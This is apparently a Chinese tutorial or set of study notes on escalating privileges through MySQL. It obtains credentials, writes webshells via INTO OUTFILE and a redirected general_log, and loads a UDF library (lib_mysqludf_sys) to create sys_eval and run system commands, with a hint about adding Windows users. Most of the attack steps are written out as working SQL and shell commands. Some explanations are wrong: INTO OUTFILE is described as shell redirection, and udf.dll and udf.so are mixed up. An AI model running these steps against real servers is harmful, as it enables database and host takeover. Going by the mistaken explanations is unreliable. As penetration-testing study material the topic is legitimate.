MySQL提权

• 参考文章：MySQL 漏洞利用与提权 | 国光 (sqlsec.com)

MySQL漏洞利用与提权

参考文章：MySQL 漏洞利用与提权 | 国光 (sqlsec.com)

数据库权限获取

数据库操作权限

也就是拿到MySQL的用户名和密码，主要包括下面四种：

1. MySQL 3306 端口弱口令爆破
2. sqlmap 注入的 --sql-shell 模式
3. 网站的数据库配置文件中拿到明文密码信息
4. CVE-2012-2122 等这类漏洞直接拿下 MySQL 权限

Webshell权限

into outfile写shell

什么是into outfile？

在 Shell 脚本中，into outfile 是用于将命令的输出重定向到文件的一种方式

具体来说，重定向运算符 > 和 >> 用于将命令输出写入文件。

• >：将命令输出写入指定文件。如果文件已存在，则会覆盖文件内容

  echo "Hello, World!" > output.txt
  这将创建（或覆盖）一个名为 output.txt 的文件，并将 "Hello, World!" 写入其中

• >>：将命令输出追加到指定文件的末尾。如果文件不存在，则会创建文件

  echo "Hello again!" >> output.txt
  这将把 "Hello again!" 追加到 output.txt 文件的末尾，而不会覆盖文件中已有的内容。

  这些方法都用于在 Shell 脚本中处理命令输出，使得脚本可以将信息存储在文件中以供后续使用或分析。

使用条件：

• 知道网站物理路径
• 高权限数据库用户
• load_file () 开启 即 secure_file_priv 无限制
• 网站路径有写入权限

首先基础语法查询是否 secure_file_priv 没有限制

SQLmysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+

Value	说明
NULL	不允许导入或导出
/tmp	只允许在 /tmp 目录导入导出
空	不限制目录

在 MySQL 5.5 之前 secure_file_priv 默认是空，这个情况下可以向任意绝对路径写文件

在 MySQL 5.5 之后 secure_file_priv 默认是 NULL，这个情况下不可以写文件

日志文件写 shell

前提条件：

• Web 文件夹宽松权限可以写入
• Windows 系统下
• 高权限运行 MySQL 或者 Apache

MySQL 5.0 版本以上会创建日志文件，可以通过修改日志的全局变量来 getshell

mysql> SHOW VARIABLES LIKE 'general%';
+------------------+---------------------------------+
| Variable_name    | Value                           |
+------------------+---------------------------------+
| general_log      | OFF                             |
| general_log_file | /var/lib/mysql/c1595d3a029a.log |
+------------------+---------------------------------+

general_log 默认关闭，开启它可以记录用户输入的每条命令，会把其保存在对应的日志文件中。

可以尝试自定义日志文件，并向日志文件里面写入内容的话，那么就可以成功 getshell：

BASH# 更改日志文件位置
set global general_log = "ON";
set global general_log_file='/var/www/html/info.php';

# 查看当前配置
mysql> SHOW VARIABLES LIKE 'general%';
+------------------+-----------------------------+
| Variable_name    | Value                       |
+------------------+-----------------------------+
| general_log      | ON                          |
| general_log_file | /var/www/html/info.php |
+------------------+-----------------------------+

# 往日志里面写入 payload
select '<?php phpinfo();?>';

# 此时已经写到 info.php 文件当中了
root@c1595d3a029a:/var/www/html/$ cat info.php 
/usr/sbin/mysqld, Version: 5.5.61-0ubuntu0.14.04.1 ((Ubuntu)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
201031 21:14:46       40 Query    SHOW VARIABLES LIKE 'general%'
201031 21:15:34       40 Query    select '<?php phpinfo();?>

UDF提权

概述

UDF用户自定义函数（user defined function），它是用户创建的函数，可用于扩展MySQL的权限，通常用于内置函数不能满足需求的情况下，通过用户自定义函数，可以达到操作系统主机的效果，也就是所谓的MySQL提权

思路：

自定义的函数可以实现各种功能，比如getshell,如果数据库里能有我们自定义的函数，就可以实现对服务器的操控。

步骤：

1. 获得动态链接库
2. 寻找插件目录
3. 写入动态链接库
4. 创建自定义函数并调用命令

前提条件

UDF提权的前提条件：

1.必须是root权限（需要创建和抛弃自定义函数）

2.secure_file_priv=空（必须为空，secure_file_priv为null或者为/tmp/都不行，因为它需要在指定的位置写入udf文件）

• 查看secure_file_priv是否为空

可以select：

SELECT * FROM INFORMATION_SCHEMA.GLOBAL_VARIABLES WHERE VARIABLE_NAME = 'secure_file_priv';

也可以：

show global variables like '%secure_file_priv%';

获得动态链接库

sqlmap和Metasploit中都自带了动态链接库文件，只是被加密过，需要解密

我这边是直接使用国光师傅打包的 sqlmap 解码后的动态链接库：蓝奏云 - sqlmap udf.zip

寻找插件目录

接下来需要把动态链接库文件放到MySQL的插件目录下

可以利用下面的SQL语句来查询目录：

mysql> show variables like '%plugin%';

+---------------+------------------------------+
| Variable_name | Value                        |
+---------------+------------------------------+
| plugin_dir    | /usr/local/mysql/lib/plugin/ |
+---------------+------------------------------+

写入动态链接库

有两种情况：

1. SQL注入且是最高权限：要求plugin目录可写且secure_file_priv无限制，则可以用sqlmap来上传动态链接库，由于get有字节限制，往往采用post注入
2. 没有注入时，则操作原生SQL语句，例如我用的是Mariadb数据库来测试，这种情况下当 secure_file_priv 无限制的时候，我们也是可以手工写文件到 plugin 目录下的：

以第二种为例：

SELECT hex(load_file('/lib_mysqludf_sys_64.so')) into dumpfile '/usr/lib/mysql/plugin/udf.so';

报错，权限不足

• 这里直接使用国光写好了的SQL语句MySQL UDF 提权十六进制查询 | 国光 (sqlsec.com)

由于docker是linux系统，所以我用的SQL语句是lib_mysqludf_sys_64.so

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INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

在这里碰到一个问题，就是没有写入权限

ERROR 1 (HY000): Can't create/write to file '/usr/lib/mysql/plugin/udf.so' (Errcode: 13 "Permission denied") MariaDB [(none)]> MariaDB 无法在 /usr/lib/mysql/plugin/ 目录中创建或写入文件，原因是权限不足

解决方法：

用 chown 和 chmod 命令来更改目录的所有权和权限

chown mysql:mysql /usr/lib/mysql/plugin/

chmod 755 /usr/lib/mysql/plugin/

可以通过以下语句来查询 MariaDB 用户（通常是 mysql）对该目录有没有写入权限：

ls -l /usr/lib/mysql/plugin/

• 操作后这边显示插件目录的文件大多是root用户，只有root用户有写入权限
• 修改一下 允许mysql用户写入（多此一举）
• chown -R mysql:mysql /usr/lib/mysql/plugin/
chmod 755 /usr/lib/mysql/plugin/

然后即可成功写入动态链接库

创建自定义函数并调用

• 执行SQL命令:

mysql > create function sys_eval returns string soname 'udf.so';

这条 SQL 语句的作用是创建一个用户自定义函数（UDF），名为 sys_eval，该函数的返回类型为字符串，函数实现代码在动态链接库 udf.dll 中。

create function sys_eval: 声明创建一个名为 sys_eval 的函数。

returns string: 指定该函数的返回类型为字符串（STRING）。

soname ‘udf.dll’: 指定包含该函数实现的共享对象文件名。SONAME 表示共享对象文件名，udf.dll 是动态链接库的名称。

• 导入函数后查看一下mysql函数，看是否新增了sys_eval;

mysql> select * from mysql.func;

• 我们创建的这个sys_eval函数支持自定义，接着就可以用这个函数来执行系统命令了

例如：

mysql > select sys_eval('whoami');

如果在 Windows 系统下的话应该就是最高权限了，执行一些 net user 增加用户的命令应该都是可以成功的

删除自定义函数

mysql > drop function sys_eval;